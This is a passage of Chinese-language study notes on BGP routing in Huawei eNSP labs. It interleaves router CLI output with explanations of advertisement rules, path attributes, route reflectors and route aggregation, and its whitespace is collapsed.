OSPF 10 1 D 12.1.1.1 GigabitEthernet0/0/0 2.2.2.2/32 Direct 0 0 D 127.0.0.1 LoopBack0 3.3.3.3/32 OSPF 10 1 D 23.1.1.3 GigabitEthernet0/0/1 12.1.1.0/24 Direct 0 0 D 12.1.1.2 GigabitEthernet0/0/0 12.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 12.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 23.1.1.0/24 Direct 0 0 D 23.1.1.2 GigabitEthernet0/0/1 23.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 23.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 30.1.0.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 30.1.1.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEtherne0/0/1 30.1.2.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 30.1.3.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0<R2>[R1]ospf 1[R1-ospf-1]import-route static [R2]dis ip routing-tableRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 20 Routes : 20 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 OSPF 10 1 D 12.1.1.1 GigabitEthernet0/0/0 2.2.2.2/32 Direct 0 0 D 127.0.0.1 LoopBack0 3.3.3.3/32 OSPF 10 1 D 23.1.1.3 GigabitEthernet0/0/1 4.4.4.4/32 O_ASE 150 1 D 12.1.1.1 GigabitEthernet0/0/0 10.1.1.0/24 IBGP 255 0 RD 4.4.4.4 GigabitEthernet0/0/0 10.4.4.0/24 IBGP 255 0 RD 4.4.4.4 GigabitEthernet0/0/0 12.1.1.0/24 Direct 0 0 D 12.1.1.2 GigabitEthernet0/0/0 12.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 12.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 23.1.1.0/24 Direct 0 0 D 23.1.1.2 GigabitEthernet0/0/1 23.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 23.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 30.1.0.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 30.1.1.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 30.1.2.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 30.1.3.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R2][R2]dis bgp routing-table BGP Local router ID is 2.2.2.2 Status codes: * - valid, > - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 12 Network NextHop MED LocPrf PrefVal Path/Ogn *>i 1.1.1.1/32 3.3.3.3 2 100 0 ? *>i 2.2.2.2/32 3.3.3.3 1 100 0 ? i 3.3.3.3/32 3.3.3.3 0 100 0 ? *>i 4.4.4.4/32 3.3.3.3 1 100 0 ? *>i 10.1.1.0/24 4.4.4.4 0 100 0 200i *>i 10.4.4.0/24 4.4.4.4 0 100 0 200i *>i 12.1.1.0/24 3.3.3.3 2 100 0 ? *>i 23.1.1.0/24 3.3.3.3 0 100 0 ? *>i 30.1.0.0/24 3.3.3.3 0 100 0 ? *>i 30.1.1.0/24 3.3.3.3 0 100 0 ? *>i 30.1.2.0/24 3.3.3.3 0 100 0 ? *>i 30.1.3.0/24 3.3.3.3 0 100 0 ?[R2][R1-bgp]peer 2.2.2.2 next-hop-local[R2]dis bgp routing-table BGP Local router ID is 2.2.2.2 Status codes: * - valid, > - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 11 Network NextHop MED LocPrf PrefVal Path/Ogn *>i 1.1.1.1/32 3.3.3.3 2 100 0 ? *>i 2.2.2.2/32 3.3.3.3 1 100 0 ? i 3.3.3.3/32 3.3.3.3 0 100 0 ? *>i 10.1.1.0/24 1.1.1.1 0 100 0 200i *>i 10.4.4.0/24 1.1.1.1 0 100 0 200i *>i 12.1.1.0/24 3.3.3.3 2 100 0 ? *>i 23.1.1.0/24 3.3.3.3 0 100 0 ? *>i 30.1.0.0/24 3.3.3.3 0 100 0 ? *>i 30.1.1.0/24 3.3.3.3 0 100 0 ? *>i 30.1.2.0/24 3.3.3.3 0 100 0 ? *>i 30.1.3.0/24 3.3.3.3 0 100 0 ?[R2]dis ip routing-tableRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 19 Routes : 19 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 OSPF 10 1 D 12.1.1.1 GigabitEthernet0/0/0 2.2.2.2/32 Direct 0 0 D 127.0.0.1 LoopBack0 3.3.3.3/32 OSPF 10 1 D 23.1.1.3 GigabitEthernet0/0/1 10.1.1.0/24 IBGP 255 0 RD 1.1.1.1 GigabitEthernet0/0/0 10.4.4.0/24 IBGP 255 0 RD 1.1.1.1 GigabitEthernet0/0/0 12.1.1.0/24 Direct 0 0 D 12.1.1.2 GigabitEthernet0/0/0 12.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 12.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 23.1.1.0/24 Direct 0 0 D 23.1.1.2 GigabitEthernet0/0/1 23.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 23.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 30.1.0.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 30.1.1.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 30.1.2.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 30.1.3.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R2] BGP 路由通告原则 BGP 只通告最优的路由. * 表示该路由是有效的 > 表示该路由是最优的 从 EBGP 对等体获取的路由会通告给所有的 BGP 对等体 (EBGP 和 IBGP). 从 IBGP 对等体获取的路由不会通告给 IBGP 对等体 (IBGP 水平分割原则, 用于防止 AS 内路由环路问题)为了防止 AS 内部分设备无法收到 BGP 路由, 可以通过配置 IBGP 全互联来解决, 但 IBGP 全互联可能会导致网络结构复杂, 例如关系数量过多等问题, 导致扩展性差, 此时可以通过 BGP 路由反射器和 BGP 联盟来简化 AS 内的拓扑结构. 从 IBGP 获取的路由, 是否通告给 EBGP 对等体取决于 BGP 的同步规则. 默认情况下同步功能关闭, 且在 ENSP 中无法手动开启, 如果开启, 则只有路由同时从 BGP 和 IGP 学习到才可以通告给 EBGP 对等体. 同步规则主要是用来防止 BGP 路由黑洞问题. BGP 路由黑洞实验R3没有5.5.5.5路由 BGP路由黑洞BGP注入OSPF[R2-ospf-1]import-route bgp [R4-ospf-1]import-route bgp或者R3运行BGP<R1>ping -a 1.1.1.1 5.5.5.5 PING 5.5.5.5: 56 data bytes, press CTRL_C to break Request time out Request time out Request time out Request time out Request time out --- 5.5.5.5 ping statistics --- 5 packet(s) transmitted 0 packet(s) received 100.00% packet loss<R3>dis ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 13 Routes : 13 Destination/Mask Proto Pre Cost Flags NextHop Interface 2.2.2.2/32 OSPF 10 1 D 23.1.1.2 GigabitEthernet0/0/0 3.3.3.3/32 Direct 0 0 D 127.0.0.1 LoopBack0 4.4.4.4/32 OSPF 10 1 D 34.1.1.4 GigabitEthernet0/0/1 23.1.1.0/24 Direct 0 0 D 23.1.1.3 GigabitEthernet0/0/0 23.1.1.3/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 23.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 34.1.1.0/24 Direct 0 0 D 34.1.1.3 GigabitEthernet0/0/1 34.1.1.3/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 34.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0BGP注入OSPF[R2-ospf-1]import-route bgp [R2-ospf-1]dis ospf lsdb OSPF Process 1 with Router ID 2.2.2.2 Link State Database Area: 0.0.0.0 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 1234 48 80000005 0 Router 2.2.2.2 2.2.2.2 15 48 80000008 0 Router 3.3.3.3 3.3.3.3 1230 60 8000000A 0 Network 34.1.1.3 3.3.3.3 1230 32 80000003 0 Network 23.1.1.2 2.2.2.2 1278 32 80000003 0 AS External Database Type LinkState ID AdvRouter Age Len Sequence Metric External 1.1.1.1 2.2.2.2 15 36 80000001 1 [R4-ospf-1]import-route bgp[R4-ospf-1]dis ospf lsdb OSPF Process 1 with Router ID 4.4.4.4 Link State Database Area: 0.0.0.0 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 23 48 80000006 0 Router 2.2.2.2 2.2.2.2 64 48 80000008 0 Router 3.3.3.3 3.3.3.3 1277 60 8000000A 0 Network 34.1.1.3 3.3.3.3 1277 32 80000003 0 Network 23.1.1.2 2.2.2.2 1326 32 80000003 0 AS External Database Type LinkState ID AdvRouter Age Len Sequence Metric External 5.5.5.5 4.4.4.4 23 36 80000001 1 External 1.1.1.1 2.2.2.2 63 36 80000001 1 <R3>dis ip routing-tableRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 15 Routes : 15 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 O_ASE 150 1 D 23.1.1.2 GigabitEthernet0/0/0 2.2.2.2/32 OSPF 10 1 D 23.1.1.2 GigabitEthernet0/0/0 3.3.3.3/32 Direct 0 0 D 127.0.0.1 LoopBack0 4.4.4.4/32 OSPF 10 1 D 34.1.1.4 GigabitEthernet0/0/1 5.5.5.5/32 O_ASE 150 1 D 34.1.1.4 GigabitEthernet0/0/1 23.1.1.0/24 Direct 0 0 D 23.1.1.3 GigabitEthernet0/0/0 23.1.1.3/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 23.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 34.1.1.0/24 Direct 0 0 D 34.1.1.3 GigabitEthernet0/0/1 34.1.1.3/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 34.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R1]ping -a 1.1.1.1 5.5.5.5 PING 5.5.5.5: 56 data bytes, press CTRL_C to break Reply from 5.5.5.5: bytes=56 Sequence=1 ttl=252 time=80 ms Reply from 5.5.5.5: bytes=56 Sequence=2 ttl=252 time=50 ms Reply from 5.5.5.5: bytes=56 Sequence=3 ttl=252 time=60 ms Reply from 5.5.5.5: bytes=56 Sequence=4 ttl=252 time=50 ms Reply from 5.5.5.5: bytes=56 Sequence=5 ttl=252 time=40 ms --- 5.5.5.5 ping statistics --- 5 packet(s) transmitted 5 packet(s) received 0.00% packet loss round-trip min/avg/max = 40/56/80 ms BGP 属性BGP 的路由中会携带多条属性信息, 这些属性信息描述了 BGP 路由的各种特征, 可以用于 BGP 最终的选路策略. BGP 属性分类公认必遵属性 (well-know mandatory):该属性可以被所有的 BGP 设备所识别, 在 update 报文中必须携带该属性, 如果未携带, 则认为该报文错误. 公认任意属性 (well-know discretionary):该属性可以被所有的 BGP 设备所识别, 在 update 报文中可以不携带, 如果未携带, 则不认为该报文错误. 可选过渡属性 (optional transitive): 该属性可能不被 BGP 设备所识别. 如果不识别的情况下, 依旧可以传递该属性. 可选非过渡属性 (optional non-transitive): 该属性可能不被 BGP 设备所识别. 如果不识别的情况下, 不会传递该属性. 属性信息直接被忽略. Origin-codeOrigin-code : 起源代码或起源属性, 是一个公认必遵属性, 用于标识一个路由被注入进 BGP 表的方式, 在 BGP 路由传递过程中起源代码一般不会改变, 共三个值: i:IGP, 表示该路由是通过 network 命令注入 BGP 得到的 e:EGP, 表示路由通过 EGP 协议学习的, 该协议目前已经完全被 BGP 取代, 现网中几乎无法见到 ?:incomplete, 表示通过其他方式注入得到, 一般是通过 import 命令注入得到. 当去往同一个目的地存在多条起源属性不同的路由时, 如果其他条件都相同, 则按照起源代码 i 优于 e 优于? 的顺序加表. AS_PATHAS_PATH:AS 路径属性, 是一个公认必遵属性, 用于描述一个 BGP 路由所经过的 AS 路径信息, 本地始发的路由 AS_PATH 属性为空, 当路由传递给 EBGP PEER 时, 会将自身的 AS 号添加到 AS_PATH 中 AS_PATH 可以用于 BGP 的 AS 间路由防环, 当从 EBGP 接收路由时, 如果发现路由中的 AS_PATH 已经包含自身的 AS 号, 则拒绝接收该路由. 如果从不同的路径收到相同目的地的路由, 且其他属性完全相同, 此时会优选 AS - PATH 较短的路由. bestroute as-path-ignore // 通过此命令可以忽略AS-PATH长短的比较 <R2>dis bgp routing-table BGP Local router ID is 2.2.2.2 Status codes: * - valid, > - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 6 Network NextHop MED LocPrf PrefVal Path/Ogn *> 1.1.1.1/32 12.1.1.1 0 0 100i *>i 5.5.5.5/32 4.4.4.4 0 100 0 300i *> 10.1.0.0/24 12.1.1.1 0 0 100? *> 10.1.1.0/24 12.1.1.1 0 0 100? *> 10.1.2.0/24 12.1.1.1 0 0 100? *> 10.1.3.0/24 12.1.1.1 0 0 100?<R5>dis bgp routing-table BGP Local router ID is 5.5.5.5 Status codes: * - valid, > - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 6 Network NextHop MED LocPrf PrefVal Path/Ogn *> 1.1.1.1/32 45.1.1.4 0 200 100i *> 5.5.5.5/32 0.0.0.0 0 0 i *> 10.1.0.0/24 45.1.1.4 0 200 100? *> 10.1.1.0/24 45.1.1.4 0 200 100? *> 10.1.2.0/24 45.1.1.4 0 200 100? *> 10.1.3.0/24 45.1.1.4 0 200 100?所经过的AS路径信息越靠近后,靠近始发侧新的AS号在前---[R5-bgp]display bgp routing-table peer 56.1.1.6 advertised-routes BGP Local router ID is 5.5.5.5 Status codes: * - valid, > - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 6 Network NextHop MED LocPrf PrefVal Path/Ogn *> 1.1.1.1/32 56.1.1.5 0 300 200 100i *> 5.5.5.5/32 56.1.1.5 0 0 300i *> 10.1.0.0/24 56.1.1.5 0 300 200 100? *> 10.1.1.0/24 56.1.1.5 0 300 200 100? *> 10.1.2.0/24 56.1.1.5 0 300 200 100? *> 10.1.3.0/24 56.1.1.5 0 300 200 100? Next-hopnext-hop: 下一跳地址是一个公认必遵属性, 描述路由到达目标网络的下一台设备的 IP 地址.当 BGP 设备收到路由时如果下一跳地址是不可达的, 则路由不会被调优. 在不同场景中, 设备对缺省的 Next-hop 属性设置规则也是不同的: 1.BGP 设备向 EBGP 对等体发布路由时, 会把该路由的下一跳属性设置为本地与对端建立 BGP PEER 接口的地址. 2.BGP 设备将本地始发的路由发布给 IBGP 对等体, 会将路由的下一跳设置为本地与对端建立 IBGP PEER 接口的地址. 3. 如果从其他 EBGP 学习的路由在通告给 IBGP PEER 时会保持 Next-hop 属性不变 4. 如果路由器收到 BGP 路由, 该路由的 Next-hop 字段与 EBGP 对等体在同一个 IP 子网, 那么该路由通告给 EBGP PEER 时不修改 Next-hop 属性. [R1-bgp]display bgp routing-table BGP Local router ID is 1.1.1.1 Status codes: * - valid, > - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 2 Network NextHop MED LocPrf PrefVal Path/Ogn *> 1.1.1.1/32 0.0.0.0 0 0 i *> 2.2.2.2/32 12.1.1.2 0 0 200i<R2>display bgp routing-table BGP Local router ID is 2.2.2.2 Status codes: * - valid, > - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 2 Network NextHop MED LocPrf PrefVal Path/Ogn *> 1.1.1.1/32 12.1.1.1 0 0 100i *> 2.2.2.2/32 0.0.0.0 0 0 i<R2>[R3-bgp]display bgp routing-table BGP Local router ID is 3.3.3.3 Status codes: * - valid, > - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 3 Network NextHop MED LocPrf PrefVal Path/Ogn i 1.1.1.1/32 1.1.1.1 0 100 0 i i 2.2.2.2/32 12.1.1.2 0 100 0 200i *>i 11.1.1.1/32 1.1.1.1 0 100 0 i[R2-bgp]display bgp routing-table BGP Local router ID is 2.2.2.2 Status codes: * - valid, > - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 3 Network NextHop MED LocPrf PrefVal Path/Ogn *> 1.1.1.1/32 12.1.1.1 0 0 100i *> 2.2.2.2/32 0.0.0.0 0 0 i *> 11.1.1.1/32 12.1.1.1 0 0 100i Local-preference本地优先级属性Local-preference: 本地优先级属性，公认任意属性, 用于在 AS 内来确定流量的出口路径。在 AS 内的本地优先级越大越优，缺省值 100，只能在 AS 内传递 【本地优先级属性用于在 BGP AS 内控制出向流量，当 AS 内, 存在多个出口时，可以通过控制本地优先级属性实现流量路径的选择，优先级越大越优，优先级默认值为 100.】 本地优先级的注意事项：本地优先级只能在 IBGP 对等体之间传递，而不能在 EBGP 对等体之间传递，如果在 EBGP 对等体之间收到了携带本地优先级属性的路由，则进行错误处理。 可以在 AS 边界路由器上使用 import 方向的策略来修改 local preference 属性值。也就是在收到路由之后在本地为路由赋予 local preference。 [R3-bgp]default local-preference 110 // 更改本地优先级 MEDMED（multi-exit）： 多出口标识（多出口鉴别器）可选非过度属性 是一种度量值，可以用于控制入向流量，MED 数值越小 BGP 路由越优, 缺省情况下不携带 MED 值 (不携带为 0) [R3]route-policy set-med permit node 10 // 创建策略[R3-route-policy]apply cost 30 // 更改MED值[R3-bgp]peer 13.1.1.1 route-policy set-med export // 在BGP应用 在 AS 出口中可以将 IGP 的注入进 BGP，此时 IGP 的 metric 会被添加进 BGP MED 属性，并通告给 EBGP peer，EBGP 对等体可以根据 MED 值或者该路由的 IGP 情况进行选路. [R2-GigabitEthernet0/0/1]ospf cost 15 // 更改接口ospf 开销值 缺省情况下 BGP 设备只会比较来自同一个相邻 AS 的 MED 值，可以通过命令 [R1-bgp] compare-different-as-med 让路由器比较来自不同 AS 路由的 MED 值 MED 作用： 在 AS 之间控制入向流量的属性，属性仅在 AS 之间传递，收到此属性的 AS 不会再通告给任何第三方 AS. 路由在通告进 BGP 设备时，路由会将 metric 加入到 MED 属性中，通过 MED 值反应路由的变化类似于 BGP metric，数值越小越优先，不同的 IGP 引入的 MED 无法比较. 如果是本地始发路由，MED 值会被通告给 IBGP 和 EBGP. 如果是从其他的 BGP 对等体学习的路由，则 MED 值只能通告给 IBGP 对等体，不会通告给 EBGP 对等体.MED 值只能影响相邻的 AS 选路. MED 更加灵活，当开销发生变动时，MED 也会随之改变 CommunityCommunity: 团体属性, 是 BGP 路由中的一种标记信息, 使用可以将一些相同策略的路由进行相同的标记加以区分. 从而便于后续的策略执行, 是一个可选过渡属性, 共 32bit 有两种表示形式: 十进制数形式 AA:NN 其中 AA 是 16bit,NN 也为 16bit. 一般情况下, AA 可以使用路由对应的 AS 号, NN 为管理员自定义的标记信息. 常见的 Community 可以分为 2 类: 公认 Community: 1.internet:0x00000000 表示缺省的 Community 信息, 默认路由器对该 Community 不做任何的动作. 2.no-advertise:0xFFFFFF02 表示该路由不会通告给任何的 BGP PEER. 3.no-export:0xFFFFFF01 表示该路由不会发出本 AS, 表示不会通告给 EBGP PEER. 4.no-export-subconfed:0xFFFFFF03 表示该路由不会传出联盟子 AS, 同时也不会向其他 AS 传递. 私有 Community Community-filter: 用于匹配 BGP 中 Community 信息的工具 基本的 filter 范围: 1-99 高级的 filter 范围: 00-199 [R3]ip community-filter ? INTEGER<1-99> Community-filter number (basic) INTEGER<100-199> Community-filter number (advanced) advanced Advanced community-filter basic Basic community-filter[R3]ip community-filter 1 permit 100:100[R3]ip community-filter 2 permit 100:200----通告Community[R1-bgp]peer 12.1.1.2 advertise-community [R1-acl-basic-2001]dis current-configuration configuration acl-basic acl number 2000 rule 5 permit source 10.1.0.0 0. 0.255.255 acl number 2001 rule 5 permit source 20.1.0.0 0.0.255.255 [R1-route-policy]dis throute-policy set-com permit node 10 if-match acl 2000 apply community 100:100 #route-policy set-com permit node 20 if-match acl 2001 apply community 100:200 [R1-bgp]peer 12.1.1.2 route-policy set-com export [R1-bgp]peer 12.1.1.2 advertise-community[R2]dis bgp routing-table community 100:100---[R2-bgp]peer 23.1.1.3 advertise-community[R2-bgp]peer 24.1.1.4 advertise-community[R3]ip community-filter 1 permit 100:100[R3]ip community-filter 2 permit 100:200[R4]ip community-filter 1 permit 100:100[R4]ip community-filter 2 permit 100:200[R3-route-policy]dis throute-policy set-lp permit node 10 if-match community-filter 1 apply local-preference 110 #route-policy set-lp permit node 20 if-match community-filter 2 apply local-preference 50 [R4-route-policy]dis throute-policy set-lp permit node 10 if-match community-filter 1 apply local-preference 50 #route-policy set-lp permit node 20 if-match community-filter 2 apply local-preference 110 bgp 300peer x.x.x.x route-policy set-lp import[R3-bgp]peer 23.1.1.2 route-policy set-lp import[R4-bgp]peer 24.1.1.2 route-policy set-lp import BGP 选路原则0.BGP 路由的下一跳地址不可达, 则路由不会被调优. 1.preferred-value (首选值) 数值越高, 路由越优. 是华为设备私有的属性, 只能用于 BGP 本地路由控制, 该属性不会出现在 update 报文中. 缺省值为 0 2. 优选 local-Preference 属性值较高的路由. 3. 本地始发的路由, 优于非本地始发路由. 聚合路由优于非聚合路由 手动聚合 > 自动聚合 > network > import > 非本地始发 4. 优选 AS_PATH 路径较短的路由. 5. 优选 origin 最优的路由 i>e>? 6. 优选 MED 数值较小的路由 7. 优选从 EBGP 学习的路由 (EBGP 优于 IBGP 路由) 8. 优选 next-hop 的 IGP 度量值最小的路由 8.5 BGP 设备不开启负载均衡, 如果开启了负载均衡条件, 且前 8 条内容一致, 则实现负载均衡. 9. 优选 cluster_list 较短的路由. 10. 优选 RID (originator-id) 较小路由. 11. 优选具有最小 IP 地址的对等体通告的路由. BGP 路由反射器由于 IBGP 水平分割规则的存在, AS 内部如果需要构建 IBGP 全互联, 则需要维护大量的 TCP 连接以及 BGP 邻居关系, 尤其当路由器数量较多时, 会导致扩展性变差, 难以维护. 此时可以通过 BGP 的路由反射器技术来简化 BGP 的邻居关系建立. BGP 路由反射器可以降低水平分割发送路由的限制, 让一部分 IBGP 的路由可以发送给 IBGP PEER. BGP 路由反射器中的角色RR (rouote reflector):路由反射器 client:RR 的客户机 non-cient:RR 的非客户机 路由反射规则当 RR 接收到 BGP 路由时, 如果是反射器从自己的非客户机收到的, 则会将其反射给所有的客户机 如果是从客户机收到的路由, 则会反射给所有的非客户机和客户机. 如果从 EBGP PEER 收到的路由，则发送给所有 BGP PEER. peer x.x.x.x reflect-client [R1-bgp]peer 2.2.2.2 reflect-client[R1-bgp]peer 3.3.3.3 reflect-client 反射器簇一个路由器与其所有的客户机形成一个路由反射器簇. 在一个 AS 内一个路由器有可能属于多个不同的簇. 路由器在不同的簇内角色可能不同 起源者 IDOriginator: 起源者 ID, 用于反射器簇内防环, 是一个可选非过渡属性, 当路由反射器第一次反射路由时, 反射器会将路由发起者的 RID 添加至该属性, 在后续传递过程中该属性不变, BGP 设备收到路由时会将起源者 ID 和自身的 RID 进行对比, 如果不一致, 则正常接收处理该路由, 如果一致, 则拒绝接收该路由. 簇 id簇 id: 簇 id 是反射器簇的标识, 具备相同簇 id 的反射器在同一个簇内, 如果没有配置簇 id, 则缺省用设备的 RID 作为族 id. [R1-bgp]reflector cluster-id x.x.x.x // 手动设置更改簇id Cluster_id listCluster_id list: 簇 id 列表, 用于在 BGP 路由反射器簇直接进行防环, 是一个可选非过渡属性, 当路由器第一次反射路由时, 反射器会创建该属性, 并将自身的簇 id 添加到列表中. 当路由反射器接收到携带簇 id 列表的路由时, 会检查列表是否包含自身的簇 id 信息, 如果不包含, 则正常接收处理, 如果包含自身的族 id, 则拒绝接收该路由. BGP 路由聚合BGP 路由聚合: 可以将多个 BGP 路由聚合成一条路由, 从而减少 BGP 传递的路由条目. 来提升 BGP 传输的效率. 自动聚合: 将本地 import 命令引入的路由自动聚合成主类网络. 默认会抑制明细路由, 只有主类网络会被通告出去. 手工聚合: 可以将 BGP 表中任意的路由聚合成任意长度, 可以实现更灵活的路由聚合. 默认不抑制明细路由. detail-suppressed: 可以通过该参数将明细路由进行抑制. as-set: 将明细路由的 AS 无序添加到 AS_PATH 中, 用于聚合后的路由防环. attribute-policy: 在聚合后将某些属性添加到聚合路由中. origin-policy: 起源策略, 用于匹配路由起源, 只有匹配起源策略的路由才会被聚合. suppress-policy: 在进行路由聚合时, 可以通过抑制策略选择被抑制的路由, 未被抑制的路由可以正常的被通告. 自动聚合 [R1-bgp]summary automatic------手工聚合10.1.0.0/24 0000 000010.1.1.0/24 0000 000110.1.2.0/24 0000 001010.1.3.0/24 0000 001110.1.4.0/24 0000 010010.1.5.0/24 0000 010110.1.6.0/24 0000 011010.1.7.0/24 0000 011110.1.0.0/21 0000 0000[R5-bgp]aggregate 10.1.0.0 21-----detail-suppressed[R5-bgp]aggregate 10.1.0.0 255.255.248.0 ? as-set Generate the route with AS-SET path-attribute attribute-policy Set aggregation attributes detail-suppressed Filter more detail route from updates origin-policy Filter the originate routes of the aggregate suppress-policy Filter more detail route from updates through a Routing policy <cr> [R5-bgp]aggregate 10.1.0.0 255.255.248.0 detail-suppressed [R5-bgp]aggregate 10.1.0.0 255.255.248.0 detail-suppressed as-set[R5]route-policy set-com permit node 10[R5-route-policy]apply community 100:100[R5-bgp]aggregate 10.1.0.0 255.255.248.0 detail-suppressed as-set attribute-policy set-comWarning: set-com used as BGP attribute-policy, apply as-path is not supported.[R5-bgp]dis bgp r community Total Number of Routes: 1 Network NextHop MED LocPrf PrefVal Community *> 10.1.0.0/21 127.0.0.1 0 <100:100>----origin-policy[R1]route-policy set-com permit node 10[R1-route-policy]apply community 100:1[R1-bgp]import-route static route-policy set-com [R1-bgp]peer 100.1.1.5 advertise-community[R5]ip community-filter 1 permit 100:1[R5]route-policy ori-policy permit node 10[R5-route-policy]if-match community-filter 1[R5-bgp]aggregate 10.1.0.0 255.255.248.0 as-set detail-suppressed attribute-policy set-com origin-policy ori-policy[R5-bgp]dis bgp routing-table community BGP Local router ID is 5.5.5.5 Status codes: * - valid, > - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 9 Network NextHop MED LocPrf PrefVal Community *> 10.1.0.0/21 127.0.0.1 0 <100:100> s> 10.1.0.0/24 100.1.1.1 0 0 <100:1> s> 10.1.1.0/24 100.1.1.1 0 0 <100:1> s> 10.1.2.0/24 100.1.1.2 0 0 <100:1> s> 10.1.3.0/24 100.1.1.2 0 0 <100:1> *> 10.1.4.0/24 100.1.1.3 0 0 <100:2> *> 10.1.5.0/24 100.1.1.3 0 0 <100:2> *> 10.1.6.0/24 100.1.1.4 0 0 <100:2> *> 10.1.7.0/24 100.1.1.4 0 0 <100:2>----suppress-policy10.1.0000 0 001.0/2410.1.0000 0 011.0/2410.1.0000 0 0X0.0 0.0.2.0[R5-acl-basic-2000]rule per source 10.1.1.0 0.0.2.0[R5-route-policy]dis throute-policy sup-policy permit node 10 if-match acl 2000[R5-bgp]aggregate 10.1.0.0 255.255.248.0 as-set detail-suppressed origin-policy ori-policy attribute-policy set-com suppress-policy sup-policy[R5-bgp]dis bgp routing-table community Network NextHop MED LocPrf PrefVal Community *> 10.1.0.0/21 127.0.0.1 0 <100:100> *> 10.1.0.0/24 100.1.1.1 0 0 <100:1> s> 10.1.1.0/24 100.1.1.1 0 0 <100:1> *> 10.1.2.0/24 100.1.1.2 0 0 <100:1> s> 10.1.3.0/24 